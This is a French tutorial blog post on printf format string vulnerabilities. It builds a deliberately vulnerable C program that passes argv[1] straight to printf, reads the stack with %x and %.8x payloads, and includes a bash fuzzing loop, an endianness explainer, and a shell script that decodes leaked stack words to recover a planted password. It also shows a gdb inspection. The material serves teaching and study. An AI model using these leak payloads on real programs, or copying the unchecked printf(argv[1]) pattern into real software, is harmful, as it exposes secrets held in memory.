0x01. PRINTF
Fonctions :
- printf, fprintf, sprintf, snprintf, asprintf, dprintf, vprintf, vfprintf, vsprintf, vsnprintf, vasprintf, vdprintf
/usr/include/stdio.h : 359:extern int printf (__const char *__restrict __format, ...);
Voici quelques exemples de formats :
char data[32]="SOME_TEXT\\x00"; printf("\\nchar data[32]=\\"SOME_TEXT\\\\x00\\";\\n"); printf("\\nCharacter (1 byte) : '%c'",data[0]); printf("\\nString ............: '%s'",data); printf("\\nHexadecimal .......: '%x'",&data); printf("\\nPointer ...........: '%p'",&data); printf("\\nInteger (sizeof) ..: '%d'",sizeof(data)); printf("\\nInteger (strlen) ..: '%d'",strlen(data)); printf("\\nInteger ...........: '%.8x'",1234);
char data[32]="SOME_TEXT\\x00"; Character (1 byte) i 'SOME_TEXT' String ............: 'SOME_TEXT' Hexadecimal .......: 'bffff5d0' Pointer ...........: '0xbffff5d0' Integer (sizeof) ..: '32' Integer (strlen) ..: '9' Integer ...........: '00001234'
// vuln.c? #include <stdio.h>? #include <unistd.h> int main(int argc, char *argv[])? { char *secret = "P@ssw0rd";? char buffer[36];? strcpy(buffer, secret);? printf(argv[1]); return 0;? }
gcc vuln.c -o vuln
0x02. VULNERABILITE
$ ./vuln TEST123ABC TEST123ABC $ ./vuln %x 8048520 $ ./vuln %p 0x08048520
Lorsque le texte affiché par print est un format d'affichage il affiche une adresse la pile (stack.)
0x04. PARCOURS
Nous allons alors tenter de parcourir la pile :
$ ./vuln %.8x-%.8x 08048520-b7fb5ce0 $ ./vuln %.8x-%.8x-%.8x 08048520-b7fb5ce0-080482ec
Faisons alors un peu de fuzzing...
arg="%.8x" for i in {1..8} do printf "%2s : " "$i" ./vuln "$arg" arg="%.8x-"$arg echo done
1 : 08048520 2 : 08048520-b7fb5ce0 3 : 08048520-b7fb5ce0-080482ec 4 : 08048520-b7fb5ce0-080482ec-b7ff0590 5 : 08048520-b7fb5ce0-080482ec-b7ff0590-080496a8 6 : 08048520-b7fb5ce0-080482ec-b7ff0590-080496a8-bffff608 7 : 08048520-b7fb5ce0-080482ec-b7ff0590-080496a8-bffff5f8-73734050 8 : 08048520-b7fb5ce0-080482ec-b7ff0590-080496a8-bffff5f8-73734050-64723077
0x05. ENDIANNESS
Nous allons étudier l' "endianness" sur 32bits :
Data : 12345678ABCD?? Little Endian:? =========================> # Stack reading? 34333231-38373635-44434241? 4 3 2 1 8 7 6 5 D C B A? <====== <====== <====== # Register/word reading Big Endian:? =========================> # Stack "natural" reading? 31323334-35363738-41424344? 1 2 3 4 5 6 7 8 A B C D? ======> ======> ======> # Register/word reading
Pour le détecter il faut connaitre quel bit est changé sur un octet :
@x_arr => 0x1 => 0001 => @x_arr[0] = 1 => Little Endian most significant bit last @x_arr => 0x8 => 1000 => @x_arr[0] = 0 => Big Endian most significant bit first
// detect_endian.c #include <stdio.h> int main (void) { unsigned int x = 1; char *x_arr = (char *) &x; if (x_arr[0] == 1) { printf ("Little Endian System\\n"); } else if (x_arr[0] == 0) { printf ("Big Endian System\\n"); } return 0; }
0x05. LECTURE
Maintenant que nous savons que nous sommes en Little Endian comme la majorité des systèmes d'exploitation sur architecture Intel (& AMD), nous sommes capable de lire le résultat du fuzzing :
08048520-b7fb5ce0- // Les caractères lisibles se situent 080482ec-b7ff0590- // entre 0x20 et 0x7f 080496a8-bffff5f8- 73734050-64723077 // Nous en avons donc ici
Nous allons faire un script, qui permet à partir de ses valeurs héxadécimale d'en extraire le texte lisible, en prenant en compte l'endianness
#!/bin/sh usage() { echo " Usage: $(basename $0) <-l|-b> <program> <poppers> -l : little endian -b : big endian Ex. : $(basename $0) -l ./vuln1 %.8x-%.8x-%.8x-%.8x-%.8x-%.8x-%.8x-%.8x " exit 0 } if [ $# -ne 3 ]; then usage fi end="$1" exe="$2" arg="$3" readable_bytes_regex="(\\-([2-7]|0[0|a|d])([a-f0-9]){1,})|(0[a|d])([2-7][0-9a-f])\\-" if [ "$end" = "-l" ]; then readable_bytes=$($exe "$arg"|egrep -o "$readable_bytes_regex") readable_words=$(echo "$readable_bytes"|sed 's/\\-//g'|egrep -o "([a-f0-9]){4,}") echo "$readable_words"|while read word ; do readable_byte=$(echo "$word"|egrep -o "([a-f0-9]){2}") echo "$readable_byte"|while read byte ; do echo "$byte" done|tac|while read byte ; do [ ! -z "$byte" ] && printf "\\x$byte" done done echo elif [ "$end" = "-b" ]; then readable_bytes=$($exe "$arg"|egrep -o "$readable_bytes_regex") echo "$readable_bytes"|sed 's/\\-//g'|egrep -o "([a-f0-9]){2}"|while read byte ; do printf "\\x$byte" done echo else usage fi
Nous avons donc comme résultat :
$ ./pointer2str.sh -l ./vuln %.8x-%.8x-%.8x-%.8x-%.8x-%.8x-%.8x-%.8-%.8x P@ssw0rd
Note : dans ce cas d'école, nous pouvons avoir la chaine située dans buffer plus simplement :
gdb ./vuln (gdb) disas main 0x0804847c <+48>: call 0x8048320=> 0x08048481 <+53>: mov $0x0,%eax (gdb) break *0x0804847c (gdb) run TEST (gdb) x/4x $esp 0xbffff530: 0xb2 0xf7 0xff 0xbf (gdb) x/4s $esp 0xbffff530: [...]\\bx\\365\\377\\277P@ssw0rd" 0xbffff555: [...]\\205\\004\\b\\240\\204\\004\\b" 0xbffff575: "" 0xbffff576: ""
Dans ce cas préçis, il y'a encore plus simple :
$ ./vuln % P@ssw0rd
=> Écrit par : Nicolas, le 27 janvier 2016